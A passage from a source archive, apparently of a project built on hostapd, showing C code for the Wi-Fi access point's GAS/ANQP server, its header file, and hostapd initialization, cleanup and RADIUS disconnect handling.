(!dialog) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: No pending SD " "response fragment for " MACSTR " dialog token %u", MAC2STR(sa), dialog_token); if (sa[0] & 0x01) return; /* Invalid source address - drop silently */ tx_buf = gas_anqp_build_comeback_resp_buf( dialog_token, WLAN_STATUS_NO_OUTSTANDING_GAS_REQ, 0, 0, 0, NULL); if (tx_buf == NULL) return; goto send_resp; } frag_len = wpabuf_len(dialog->sd_resp) - dialog->sd_resp_pos; if (frag_len > hapd->conf->gas_frag_limit) { frag_len = hapd->conf->gas_frag_limit; more = 1; } wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: resp frag_len %u", (unsigned int) frag_len); buf = wpabuf_alloc_copy(wpabuf_head_u8(dialog->sd_resp) + dialog->sd_resp_pos, frag_len); if (buf == NULL) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Failed to allocate " "buffer"); gas_serv_dialog_clear(dialog); return; } #ifdef CONFIG_DPP if (dialog->dpp) { tx_buf = gas_build_comeback_resp(dialog_token, WLAN_STATUS_SUCCESS, dialog->sd_frag_id, more, 0, 10 + frag_len); if (tx_buf) { gas_serv_write_dpp_adv_proto(tx_buf); wpabuf_put_buf(tx_buf, buf); } } else #endif /* CONFIG_DPP */ tx_buf = gas_anqp_build_comeback_resp_buf(dialog_token, WLAN_STATUS_SUCCESS, dialog->sd_frag_id, more, 0, buf); wpabuf_free(buf); if (tx_buf == NULL) { gas_serv_dialog_clear(dialog); return; } wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Tx GAS Comeback Response " "(frag_id %d more=%d frag_len=%d)", dialog->sd_frag_id, more, (int) frag_len); dialog->sd_frag_id++; dialog->sd_resp_pos += frag_len; if (more) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: %d more bytes remain " "to be sent", (int) (wpabuf_len(dialog->sd_resp) - dialog->sd_resp_pos)); } else { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: All fragments of " "SD response sent"); #ifdef CONFIG_DPP if (dialog->dpp) hostapd_dpp_gas_status_handler(hapd, 1); #endif /* CONFIG_DPP */ gas_serv_dialog_clear(dialog); gas_serv_free_dialogs(hapd, sa); } send_resp: if (prot) convert_to_protected_dual(tx_buf); if (std_addr3) hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, wpabuf_head(tx_buf), wpabuf_len(tx_buf)); else hostapd_drv_send_action_addr3_ap(hapd, hapd->iface->freq, 0, sa, wpabuf_head(tx_buf), wpabuf_len(tx_buf)); wpabuf_free(tx_buf); } static void gas_serv_rx_public_action(void *ctx, const u8 *buf, size_t len, int freq) { struct hostapd_data *hapd = ctx; const struct ieee80211_mgmt *mgmt; const u8 *sa, *data; int prot, std_addr3; mgmt = (const struct ieee80211_mgmt *) buf; if (len < IEEE80211_HDRLEN + 2) return; if (mgmt->u.action.category != WLAN_ACTION_PUBLIC && mgmt->u.action.category != WLAN_ACTION_PROTECTED_DUAL) return; /* * Note: Public Action and Protected Dual of Public Action frames share * the same payload structure, so it is fine to use definitions of * Public Action frames to process both. */ prot = mgmt->u.action.category == WLAN_ACTION_PROTECTED_DUAL; sa = mgmt->sa; if (hapd->conf->gas_address3 == 1) std_addr3 = 1; else if (hapd->conf->gas_address3 == 2) std_addr3 = 0; else std_addr3 = is_broadcast_ether_addr(mgmt->bssid); len -= IEEE80211_HDRLEN + 1; data = buf + IEEE80211_HDRLEN + 1; switch (data[0]) { case WLAN_PA_GAS_INITIAL_REQ: gas_serv_rx_gas_initial_req(hapd, sa, data + 1, len - 1, prot, std_addr3); break; case WLAN_PA_GAS_COMEBACK_REQ: gas_serv_rx_gas_comeback_req(hapd, sa, data + 1, len - 1, prot, std_addr3); break; } } int gas_serv_init(struct hostapd_data *hapd) { hapd->public_action_cb2 = gas_serv_rx_public_action; hapd->public_action_cb2_ctx = hapd; return 0; } void gas_serv_deinit(struct hostapd_data *hapd) { } wpa_sycophant-master/src/ap/gas_serv.h000066400000000000000000000062531377436615100204220ustar00rootroot00000000000000/* * Generic advertisement service (GAS) server * Copyright (c) 2011-2013, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef GAS_SERV_H #define GAS_SERV_H /* First 16 ANQP InfoIDs can be included in the optimized bitmap */ #define ANQP_REQ_CAPABILITY_LIST \ (1 << (ANQP_CAPABILITY_LIST - ANQP_QUERY_LIST)) #define ANQP_REQ_VENUE_NAME \ (1 << (ANQP_VENUE_NAME - ANQP_QUERY_LIST)) #define ANQP_REQ_EMERGENCY_CALL_NUMBER \ (1 << (ANQP_EMERGENCY_CALL_NUMBER - ANQP_QUERY_LIST)) #define ANQP_REQ_NETWORK_AUTH_TYPE \ (1 << (ANQP_NETWORK_AUTH_TYPE - ANQP_QUERY_LIST)) #define ANQP_REQ_ROAMING_CONSORTIUM \ (1 << (ANQP_ROAMING_CONSORTIUM - ANQP_QUERY_LIST)) #define ANQP_REQ_IP_ADDR_TYPE_AVAILABILITY \ (1 << (ANQP_IP_ADDR_TYPE_AVAILABILITY - ANQP_QUERY_LIST)) #define ANQP_REQ_NAI_REALM \ (1 << (ANQP_NAI_REALM - ANQP_QUERY_LIST)) #define ANQP_REQ_3GPP_CELLULAR_NETWORK \ (1 << (ANQP_3GPP_CELLULAR_NETWORK - ANQP_QUERY_LIST)) #define ANQP_REQ_AP_GEOSPATIAL_LOCATION \ (1 << (ANQP_AP_GEOSPATIAL_LOCATION - ANQP_QUERY_LIST)) #define ANQP_REQ_AP_CIVIC_LOCATION \ (1 << (ANQP_AP_CIVIC_LOCATION - ANQP_QUERY_LIST)) #define ANQP_REQ_AP_LOCATION_PUBLIC_URI \ (1 << (ANQP_AP_LOCATION_PUBLIC_URI - ANQP_QUERY_LIST)) #define ANQP_REQ_DOMAIN_NAME \ (1 << (ANQP_DOMAIN_NAME - ANQP_QUERY_LIST)) #define ANQP_REQ_EMERGENCY_ALERT_URI \ (1 << (ANQP_EMERGENCY_ALERT_URI - ANQP_QUERY_LIST)) #define ANQP_REQ_TDLS_CAPABILITY \ (1 << (ANQP_TDLS_CAPABILITY - ANQP_QUERY_LIST)) #define ANQP_REQ_EMERGENCY_NAI \ (1 << (ANQP_EMERGENCY_NAI - ANQP_QUERY_LIST)) /* * First 15 Hotspot 2.0 vendor specific ANQP-elements can be included in the * optimized bitmap. */ #define ANQP_REQ_HS_CAPABILITY_LIST \ (0x10000 << HS20_STYPE_CAPABILITY_LIST) #define ANQP_REQ_OPERATOR_FRIENDLY_NAME \ (0x10000 << HS20_STYPE_OPERATOR_FRIENDLY_NAME) #define ANQP_REQ_WAN_METRICS \ (0x10000 << HS20_STYPE_WAN_METRICS) #define ANQP_REQ_CONNECTION_CAPABILITY \ (0x10000 << HS20_STYPE_CONNECTION_CAPABILITY) #define ANQP_REQ_NAI_HOME_REALM \ (0x10000 << HS20_STYPE_NAI_HOME_REALM_QUERY) #define ANQP_REQ_OPERATING_CLASS \ (0x10000 << HS20_STYPE_OPERATING_CLASS) #define ANQP_REQ_OSU_PROVIDERS_LIST \ (0x10000 << HS20_STYPE_OSU_PROVIDERS_LIST) #define ANQP_REQ_ICON_REQUEST \ (0x10000 << HS20_STYPE_ICON_REQUEST) #define ANQP_REQ_OPERATOR_ICON_METADATA \ (0x10000 << HS20_STYPE_OPERATOR_ICON_METADATA) /* The first MBO ANQP-element can be included in the optimized bitmap. */ #define ANQP_REQ_MBO_CELL_DATA_CONN_PREF \ (BIT(29) << MBO_ANQP_SUBTYPE_CELL_CONN_PREF) struct gas_dialog_info { u8 valid; struct wpabuf *sd_resp; /* Fragmented response */ u8 dialog_token; size_t sd_resp_pos; /* Offset in sd_resp */ u8 sd_frag_id; int prot; /* whether Protected Dual of Public Action frame is used */ int dpp; /* whether this is a DPP Config Response */ }; struct hostapd_data; struct gas_dialog_info * gas_serv_dialog_find(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token); void gas_serv_dialog_clear(struct gas_dialog_info *dialog); int gas_serv_init(struct hostapd_data *hapd); void gas_serv_deinit(struct hostapd_data *hapd); #endif /* GAS_SERV_H */ wpa_sycophant-master/src/ap/hostapd.c000066400000000000000000002611031377436615100202430ustar00rootroot00000000000000/* * hostapd / Initialization and configuration * Copyright (c) 2002-2014, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "common/hw_features_common.h" #include "radius/radius_client.h" #include "radius/radius_das.h" #include "eap_server/tncs.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "fst/fst.h" #include "hostapd.h" #include "authsrv.h" #include "sta_info.h" #include "accounting.h" #include "ap_list.h" #include "beacon.h" #include "iapp.h" #include "ieee802_1x.h" #include "ieee802_11_auth.h" #include "vlan_init.h" #include "wpa_auth.h" #include "wps_hostapd.h" #include "dpp_hostapd.h" #include "gas_query_ap.h" #include "hw_features.h" #include "wpa_auth_glue.h" #include "ap_drv_ops.h" #include "ap_config.h" #include "p2p_hostapd.h" #include "gas_serv.h" #include "dfs.h" #include "ieee802_11.h" #include "bss_load.h" #include "x_snoop.h" #include "dhcp_snoop.h" #include "ndisc_snoop.h" #include "neighbor_db.h" #include "rrm.h" #include "fils_hlp.h" #include "acs.h" #include "hs20.h" static int hostapd_flush_old_stations(struct hostapd_data *hapd, u16 reason); static int hostapd_setup_encryption(char *iface, struct hostapd_data *hapd); static int hostapd_broadcast_wep_clear(struct hostapd_data *hapd); static int setup_interface2(struct hostapd_iface *iface); static void channel_list_update_timeout(void *eloop_ctx, void *timeout_ctx); static void hostapd_interface_setup_failure_handler(void *eloop_ctx, void *timeout_ctx); int hostapd_for_each_interface(struct hapd_interfaces *interfaces, int (*cb)(struct hostapd_iface *iface, void *ctx), void *ctx) { size_t i; int ret; for (i = 0; i < interfaces->count; i++) { ret = cb(interfaces->iface[i], ctx); if (ret) return ret; } return 0; } static void hostapd_reload_bss(struct hostapd_data *hapd) { struct hostapd_ssid *ssid; if (!hapd->started) return; if (hapd->conf->wmm_enabled < 0) hapd->conf->wmm_enabled = hapd->iconf->ieee80211n; #ifndef CONFIG_NO_RADIUS radius_client_reconfig(hapd->radius, hapd->conf->radius); #endif /* CONFIG_NO_RADIUS */ ssid = &hapd->conf->ssid; if (!ssid->wpa_psk_set && ssid->wpa_psk && !ssid->wpa_psk->next && ssid->wpa_passphrase_set && ssid->wpa_passphrase) { /* * Force PSK to be derived again since SSID or passphrase may * have changed. */ hostapd_config_clear_wpa_psk(&hapd->conf->ssid.wpa_psk); } if (hostapd_setup_wpa_psk(hapd->conf)) { wpa_printf(MSG_ERROR, "Failed to re-configure WPA PSK " "after reloading configuration"); } if (hapd->conf->ieee802_1x || hapd->conf->wpa) hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 1); else hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 0); if ((hapd->conf->wpa || hapd->conf->osen) && hapd->wpa_auth == NULL) { hostapd_setup_wpa(hapd); if (hapd->wpa_auth) wpa_init_keys(hapd->wpa_auth); } else if (hapd->conf->wpa) { const u8 *wpa_ie; size_t wpa_ie_len; hostapd_reconfig_wpa(hapd); wpa_ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &wpa_ie_len); if (hostapd_set_generic_elem(hapd, wpa_ie, wpa_ie_len)) wpa_printf(MSG_ERROR, "Failed to configure WPA IE for " "the kernel driver."); } else if (hapd->wpa_auth) { wpa_deinit(hapd->wpa_auth); hapd->wpa_auth = NULL; hostapd_set_privacy(hapd, 0); hostapd_setup_encryption(hapd->conf->iface, hapd); hostapd_set_generic_elem(hapd, (u8 *) "", 0); } ieee802_11_set_beacon(hapd); hostapd_update_wps(hapd); if (hapd->conf->ssid.ssid_set && hostapd_set_ssid(hapd, hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len)) { wpa_printf(MSG_ERROR, "Could not set SSID for kernel driver"); /* try to continue */ } wpa_printf(MSG_DEBUG, "Reconfigured interface %s", hapd->conf->iface); } static void hostapd_clear_old(struct hostapd_iface *iface) { size_t j; /* * Deauthenticate all stations since the new configuration may not * allow them to use the BSS anymore. */ for (j = 0; j < iface->num_bss; j++) { hostapd_flush_old_stations(iface->bss[j], WLAN_REASON_PREV_AUTH_NOT_VALID); hostapd_broadcast_wep_clear(iface->bss[j]); #ifndef CONFIG_NO_RADIUS /* TODO: update dynamic data based on changed configuration * items (e.g., open/close sockets, etc.) */ radius_client_flush(iface->bss[j]->radius, 0); #endif /* CONFIG_NO_RADIUS */ } } int hostapd_reload_config(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; struct hostapd_config *newconf, *oldconf; size_t j; if (iface->config_fname == NULL) { /* Only in-memory config in use - assume it has been updated */ hostapd_clear_old(iface); for (j = 0; j < iface->num_bss; j++) hostapd_reload_bss(iface->bss[j]); return 0; } if (iface->interfaces == NULL || iface->interfaces->config_read_cb == NULL) return -1; newconf = iface->interfaces->config_read_cb(iface->config_fname); if (newconf == NULL) return -1; hostapd_clear_old(iface); oldconf = hapd->iconf; iface->conf = newconf; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; hapd->iconf = newconf; hapd->iconf->channel = oldconf->channel; hapd->iconf->acs = oldconf->acs; hapd->iconf->secondary_channel = oldconf->secondary_channel; hapd->iconf->ieee80211n = oldconf->ieee80211n; hapd->iconf->ieee80211ac = oldconf->ieee80211ac; hapd->iconf->ht_capab = oldconf->ht_capab; hapd->iconf->vht_capab = oldconf->vht_capab; hapd->iconf->vht_oper_chwidth = oldconf->vht_oper_chwidth; hapd->iconf->vht_oper_centr_freq_seg0_idx = oldconf->vht_oper_centr_freq_seg0_idx; hapd->iconf->vht_oper_centr_freq_seg1_idx = oldconf->vht_oper_centr_freq_seg1_idx; hapd->conf = newconf->bss[j]; hostapd_reload_bss(hapd); } hostapd_config_free(oldconf); return 0; } static void hostapd_broadcast_key_clear_iface(struct hostapd_data *hapd, const char *ifname) { int i; if (!ifname || !hapd->drv_priv) return; for (i = 0; i < NUM_WEP_KEYS; i++) { if (hostapd_drv_set_key(ifname, hapd, WPA_ALG_NONE, NULL, i, 0, NULL, 0, NULL, 0)) { wpa_printf(MSG_DEBUG, "Failed to clear default " "encryption keys (ifname=%s keyidx=%d)", ifname, i); } } #ifdef CONFIG_IEEE80211W if (hapd->conf->ieee80211w) { for (i = NUM_WEP_KEYS; i < NUM_WEP_KEYS + 2; i++) { if (hostapd_drv_set_key(ifname, hapd, WPA_ALG_NONE, NULL, i, 0, NULL, 0, NULL, 0)) { wpa_printf(MSG_DEBUG, "Failed to clear " "default mgmt encryption keys " "(ifname=%s keyidx=%d)", ifname, i); } } } #endif /* CONFIG_IEEE80211W */ } static int hostapd_broadcast_wep_clear(struct hostapd_data *hapd) { hostapd_broadcast_key_clear_iface(hapd, hapd->conf->iface); return 0; } static int hostapd_broadcast_wep_set(struct hostapd_data *hapd) { int errors = 0, idx; struct hostapd_ssid *ssid = &hapd->conf->ssid; idx = ssid->wep.idx; if (ssid->wep.default_len && hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_WEP, broadcast_ether_addr, idx, 1, NULL, 0, ssid->wep.key[idx], ssid->wep.len[idx])) { wpa_printf(MSG_WARNING, "Could not set WEP encryption."); errors++; } return errors; } static void hostapd_free_hapd_data(struct hostapd_data *hapd) { os_free(hapd->probereq_cb); hapd->probereq_cb = NULL; hapd->num_probereq_cb = 0; #ifdef CONFIG_P2P wpabuf_free(hapd->p2p_beacon_ie); hapd->p2p_beacon_ie = NULL; wpabuf_free(hapd->p2p_probe_resp_ie); hapd->p2p_probe_resp_ie = NULL; #endif /* CONFIG_P2P */ if (!hapd->started) { wpa_printf(MSG_ERROR, "%s: Interface %s wasn't started", __func__, hapd->conf->iface); return; } hapd->started = 0; wpa_printf(MSG_DEBUG, "%s(%s)", __func__, hapd->conf->iface); iapp_deinit(hapd->iapp); hapd->iapp = NULL; accounting_deinit(hapd); hostapd_deinit_wpa(hapd); vlan_deinit(hapd); hostapd_acl_deinit(hapd); #ifndef CONFIG_NO_RADIUS radius_client_deinit(hapd->radius); hapd->radius = NULL; radius_das_deinit(hapd->radius_das); hapd->radius_das = NULL; #endif /* CONFIG_NO_RADIUS */ hostapd_deinit_wps(hapd); #ifdef CONFIG_DPP hostapd_dpp_deinit(hapd); gas_query_ap_deinit(hapd->gas); #endif /* CONFIG_DPP */ authsrv_deinit(hapd); if (hapd->interface_added) { hapd->interface_added = 0; if (hostapd_if_remove(hapd, WPA_IF_AP_BSS, hapd->conf->iface)) { wpa_printf(MSG_WARNING, "Failed to remove BSS interface %s", hapd->conf->iface); hapd->interface_added = 1; } else { /* * Since this was a dynamically added interface, the * driver wrapper may have removed its internal instance * and hapd->drv_priv is not valid anymore. */ hapd->drv_priv = NULL; } } wpabuf_free(hapd->time_adv); #ifdef CONFIG_INTERWORKING gas_serv_deinit(hapd); #endif /* CONFIG_INTERWORKING */ bss_load_update_deinit(hapd); ndisc_snoop_deinit(hapd); dhcp_snoop_deinit(hapd); x_snoop_deinit(hapd); #ifdef CONFIG_SQLITE bin_clear_free(hapd->tmp_eap_user.identity, hapd->tmp_eap_user.identity_len); bin_clear_free(hapd->tmp_eap_user.password, hapd->tmp_eap_user.password_len); #endif /* CONFIG_SQLITE */ #ifdef CONFIG_MESH wpabuf_free(hapd->mesh_pending_auth); hapd->mesh_pending_auth = NULL; #endif /* CONFIG_MESH */ hostapd_clean_rrm(hapd); fils_hlp_deinit(hapd); } /** * hostapd_cleanup - Per-BSS cleanup (deinitialization) * @hapd: Pointer to BSS data * * This function is used to free all per-BSS data structures and resources. * Most of the modules that are initialized in hostapd_setup_bss() are * deinitialized here. */ static void hostapd_cleanup(struct hostapd_data *hapd) { wpa_printf(MSG_DEBUG, "%s(hapd=%p (%s))", __func__, hapd, hapd->conf->iface); if (hapd->iface->interfaces && hapd->iface->interfaces->ctrl_iface_deinit) { wpa_msg(hapd->msg_ctx, MSG_INFO, WPA_EVENT_TERMINATING); hapd->iface->interfaces->ctrl_iface_deinit(hapd); } hostapd_free_hapd_data(hapd); } static void sta_track_deinit(struct hostapd_iface *iface) { struct hostapd_sta_info *info; if (!iface->num_sta_seen) return; while ((info = dl_list_first(&iface->sta_seen, struct hostapd_sta_info, list))) { dl_list_del(&info->list); iface->num_sta_seen--; sta_track_del(info); } } static void hostapd_cleanup_iface_partial(struct hostapd_iface *iface) { wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); #ifdef CONFIG_IEEE80211N #ifdef NEED_AP_MLME hostapd_stop_setup_timers(iface); #endif /* NEED_AP_MLME */ #endif /* CONFIG_IEEE80211N */ if (iface->current_mode) acs_cleanup(iface); hostapd_free_hw_features(iface->hw_features, iface->num_hw_features); iface->hw_features = NULL; iface->current_mode = NULL; os_free(iface->current_rates); iface->current_rates = NULL; os_free(iface->basic_rates); iface->basic_rates = NULL; ap_list_deinit(iface); sta_track_deinit(iface); } /** * hostapd_cleanup_iface - Complete per-interface cleanup * @iface: Pointer to interface data * * This function is called after per-BSS data structures are deinitialized * with hostapd_cleanup(). */ static void hostapd_cleanup_iface(struct hostapd_iface *iface) { wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); eloop_cancel_timeout(hostapd_interface_setup_failure_handler, iface, NULL); hostapd_cleanup_iface_partial(iface); hostapd_config_free(iface->conf); iface->conf = NULL; os_free(iface->config_fname); os_free(iface->bss); wpa_printf(MSG_DEBUG, "%s: free iface=%p", __func__, iface); os_free(iface); } static void hostapd_clear_wep(struct hostapd_data *hapd) { if (hapd->drv_priv && !hapd->iface->driver_ap_teardown) { hostapd_set_privacy(hapd, 0); hostapd_broadcast_wep_clear(hapd); } } static int hostapd_setup_encryption(char *iface, struct hostapd_data *hapd) { int i; hostapd_broadcast_wep_set(hapd); if (hapd->conf->ssid.wep.default_len) { hostapd_set_privacy(hapd, 1); return 0; } /* * When IEEE 802.1X is not enabled, the driver may need to know how to * set authentication algorithms for static WEP. */ hostapd_drv_set_authmode(hapd, hapd->conf->auth_algs); for (i = 0; i < 4; i++) { if (hapd->conf->ssid.wep.key[i] && hostapd_drv_set_key(iface, hapd, WPA_ALG_WEP, NULL, i, i == hapd->conf->ssid.wep.idx, NULL, 0, hapd->conf->ssid.wep.key[i], hapd->conf->ssid.wep.len[i])) { wpa_printf(MSG_WARNING, "Could not set WEP " "encryption."); return -1; } if (hapd->conf->ssid.wep.key[i] && i == hapd->conf->ssid.wep.idx) hostapd_set_privacy(hapd, 1); } return 0; } static int hostapd_flush_old_stations(struct hostapd_data *hapd, u16 reason) { int ret = 0; u8 addr[ETH_ALEN]; if (hostapd_drv_none(hapd) || hapd->drv_priv == NULL) return 0; if (!hapd->iface->driver_ap_teardown) { wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Flushing old station entries"); if (hostapd_flush(hapd)) { wpa_msg(hapd->msg_ctx, MSG_WARNING, "Could not connect to kernel driver"); ret = -1; } } if (hapd->conf && hapd->conf->broadcast_deauth) { wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Deauthenticate all stations"); os_memset(addr, 0xff, ETH_ALEN); hostapd_drv_sta_deauth(hapd, addr, reason); } hostapd_free_stas(hapd); return ret; } static void hostapd_bss_deinit_no_free(struct hostapd_data *hapd) { hostapd_free_stas(hapd); hostapd_flush_old_stations(hapd, WLAN_REASON_DEAUTH_LEAVING); hostapd_clear_wep(hapd); } /** * hostapd_validate_bssid_configuration - Validate BSSID configuration * @iface: Pointer to interface data * Returns: 0 on success, -1 on failure * * This function is used to validate that the configured BSSIDs are valid. */ static int hostapd_validate_bssid_configuration(struct hostapd_iface *iface) { u8 mask[ETH_ALEN] = { 0 }; struct hostapd_data *hapd = iface->bss[0]; unsigned int i = iface->conf->num_bss, bits = 0, j; int auto_addr = 0; if (hostapd_drv_none(hapd)) return 0; if (iface->conf->use_driver_iface_addr) return 0; /* Generate BSSID mask that is large enough to cover the BSSIDs. */ /* Determine the bits necessary to cover the number of BSSIDs. */ for (i--; i; i >>= 1) bits++; /* Determine the bits necessary to any configured BSSIDs, if they are higher than the number of BSSIDs. */ for (j = 0; j < iface->conf->num_bss; j++) { if (is_zero_ether_addr(iface->conf->bss[j]->bssid)) { if (j) auto_addr++; continue; } for (i = 0; i < ETH_ALEN; i++) { mask[i] |= iface->conf->bss[j]->bssid[i] ^ hapd->own_addr[i]; } } if (!auto_addr) goto skip_mask_ext; for (i = 0; i < ETH_ALEN && mask[i] == 0; i++) ; j = 0; if (i < ETH_ALEN) { j = (5 - i) * 8; while (mask[i] != 0) { mask[i] >>= 1; j++; } } if (bits < j) bits = j; if (bits > 40) { wpa_printf(MSG_ERROR, "Too many bits in the BSSID mask (%u)", bits); return -1; } os_memset(mask, 0xff, ETH_ALEN); j = bits / 8; for (i = 5; i > 5 - j; i--) mask[i] = 0; j = bits % 8; while (j--) mask[i] <<= 1; skip_mask_ext: wpa_printf(MSG_DEBUG, "BSS count %lu, BSSID mask " MACSTR " (%d bits)", (unsigned long) iface->conf->num_bss, MAC2STR(mask), bits); if (!auto_addr) return 0; for (i = 0; i < ETH_ALEN; i++) { if ((hapd->own_addr[i] & mask[i]) != hapd->own_addr[i]) { wpa_printf(MSG_ERROR, "Invalid BSSID mask " MACSTR " for start address " MACSTR ".", MAC2STR(mask), MAC2STR(hapd->own_addr)); wpa_printf(MSG_ERROR, "Start address must be the " "first address in the block (i.e., addr " "AND mask == addr)."); return -1; } } return 0; } static int mac_in_conf(struct hostapd_config *conf, const void *a) { size_t i; for (i = 0; i < conf->num_bss; i++) { if (hostapd_mac_comp(conf->bss[i]->bssid, a) == 0) { return 1; } } return 0; } #ifndef CONFIG_NO_RADIUS static int hostapd_das_nas_mismatch(struct hostapd_data *hapd, struct radius_das_attrs *attr) { if (attr->nas_identifier && (!hapd->conf->nas_identifier || os_strlen(hapd->conf->nas_identifier) != attr->nas_identifier_len || os_memcmp(hapd->conf->nas_identifier, attr->nas_identifier, attr->nas_identifier_len) != 0)) { wpa_printf(MSG_DEBUG, "RADIUS DAS: NAS-Identifier mismatch"); return 1; } if (attr->nas_ip_addr && (hapd->conf->own_ip_addr.af != AF_INET || os_memcmp(&hapd->conf->own_ip_addr.u.v4, attr->nas_ip_addr, 4) != 0)) { wpa_printf(MSG_DEBUG, "RADIUS DAS: NAS-IP-Address mismatch"); return 1; } #ifdef CONFIG_IPV6 if (attr->nas_ipv6_addr && (hapd->conf->own_ip_addr.af != AF_INET6 || os_memcmp(&hapd->conf->own_ip_addr.u.v6, attr->nas_ipv6_addr, 16) != 0)) { wpa_printf(MSG_DEBUG, "RADIUS DAS: NAS-IPv6-Address mismatch"); return 1; } #endif /* CONFIG_IPV6 */ return 0; } static struct sta_info * hostapd_das_find_sta(struct hostapd_data *hapd, struct radius_das_attrs *attr, int *multi) { struct sta_info *selected, *sta; char buf[128]; int num_attr = 0; int count; *multi = 0; for (sta = hapd->sta_list; sta; sta = sta->next) sta->radius_das_match = 1; if (attr->sta_addr) { num_attr++; sta = ap_get_sta(hapd, attr->sta_addr); if (!sta) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No Calling-Station-Id match"); return NULL; } selected = sta; for (sta = hapd->sta_list; sta; sta = sta->next) { if (sta != selected) sta->radius_das_match = 0; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Calling-Station-Id match"); } if (attr->acct_session_id) { num_attr++; if (attr->acct_session_id_len != 16) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Session-Id cannot match"); return NULL; } count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { if (!sta->radius_das_match) continue; os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) sta->acct_session_id); if (os_memcmp(attr->acct_session_id, buf, 16) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after Acct-Session-Id check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Session-Id match"); } if (attr->acct_multi_session_id) { num_attr++; if (attr->acct_multi_session_id_len != 16) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Multi-Session-Id cannot match"); return NULL; } count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { if (!sta->radius_das_match) continue; if (!sta->eapol_sm || !sta->eapol_sm->acct_multi_session_id) { sta->radius_das_match = 0; continue; } os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) sta->eapol_sm->acct_multi_session_id); if (os_memcmp(attr->acct_multi_session_id, buf, 16) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after Acct-Multi-Session-Id check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Acct-Multi-Session-Id match"); } if (attr->cui) { num_attr++; count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { struct wpabuf *cui; if (!sta->radius_das_match) continue; cui = ieee802_1x_get_radius_cui(sta->eapol_sm); if (!cui || wpabuf_len(cui) != attr->cui_len || os_memcmp(wpabuf_head(cui), attr->cui, attr->cui_len) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after Chargeable-User-Identity check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Chargeable-User-Identity match"); } if (attr->user_name) { num_attr++; count = 0; for (sta = hapd->sta_list; sta; sta = sta->next) { u8 *identity; size_t identity_len; if (!sta->radius_das_match) continue; identity = ieee802_1x_get_identity(sta->eapol_sm, &identity_len); if (!identity || identity_len != attr->user_name_len || os_memcmp(identity, attr->user_name, identity_len) != 0) sta->radius_das_match = 0; else count++; } if (count == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: No matches remaining after User-Name check"); return NULL; } wpa_printf(MSG_DEBUG, "RADIUS DAS: User-Name match"); } if (num_attr == 0) { /* * In theory, we could match all current associations, but it * seems safer to just reject requests that do not include any * session identification attributes. */ wpa_printf(MSG_DEBUG, "RADIUS DAS: No session identification attributes included"); return NULL; } selected = NULL; for (sta = hapd->sta_list; sta; sta = sta->next) { if (sta->radius_das_match) { if (selected) { *multi = 1; return NULL; } selected = sta; } } return selected; } static int hostapd_das_disconnect_pmksa(struct hostapd_data *hapd, struct radius_das_attrs *attr) { if (!hapd->wpa_auth) return -1; return wpa_auth_radius_das_disconnect_pmksa(hapd->wpa_auth, attr); } static enum radius_das_res hostapd_das_disconnect(void *ctx, struct radius_das_attrs *attr) { struct hostapd_data *hapd = ctx; struct sta_info *sta; int multi; if (hostapd_das_nas_mismatch(hapd, attr)) return RADIUS_DAS_NAS_MISMATCH; sta = hostapd_das_find_sta(hapd, attr, &multi); if (sta == NULL) { if (multi) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Multiple sessions match - not supported"); return RADIUS_DAS_MULTI_SESSION_MATCH; } if (hostapd_das_disconnect_pmksa(hapd, attr) == 0) { wpa_printf(MSG_DEBUG, "RADIUS DAS: PMKSA cache entry matched"); return RADIUS_DAS_SUCCESS; } wpa_printf(MSG_DEBUG, "RADIUS DAS: No matching session found"); return RADIUS_DAS_SESSION_NOT_FOUND; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Found a matching session " MACSTR " - disconnecting", MAC2STR(sta->addr)); wpa_auth_pmksa_remove(hapd->wpa_auth, sta->addr); hostapd_drv_sta_deauth(hapd, sta->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); 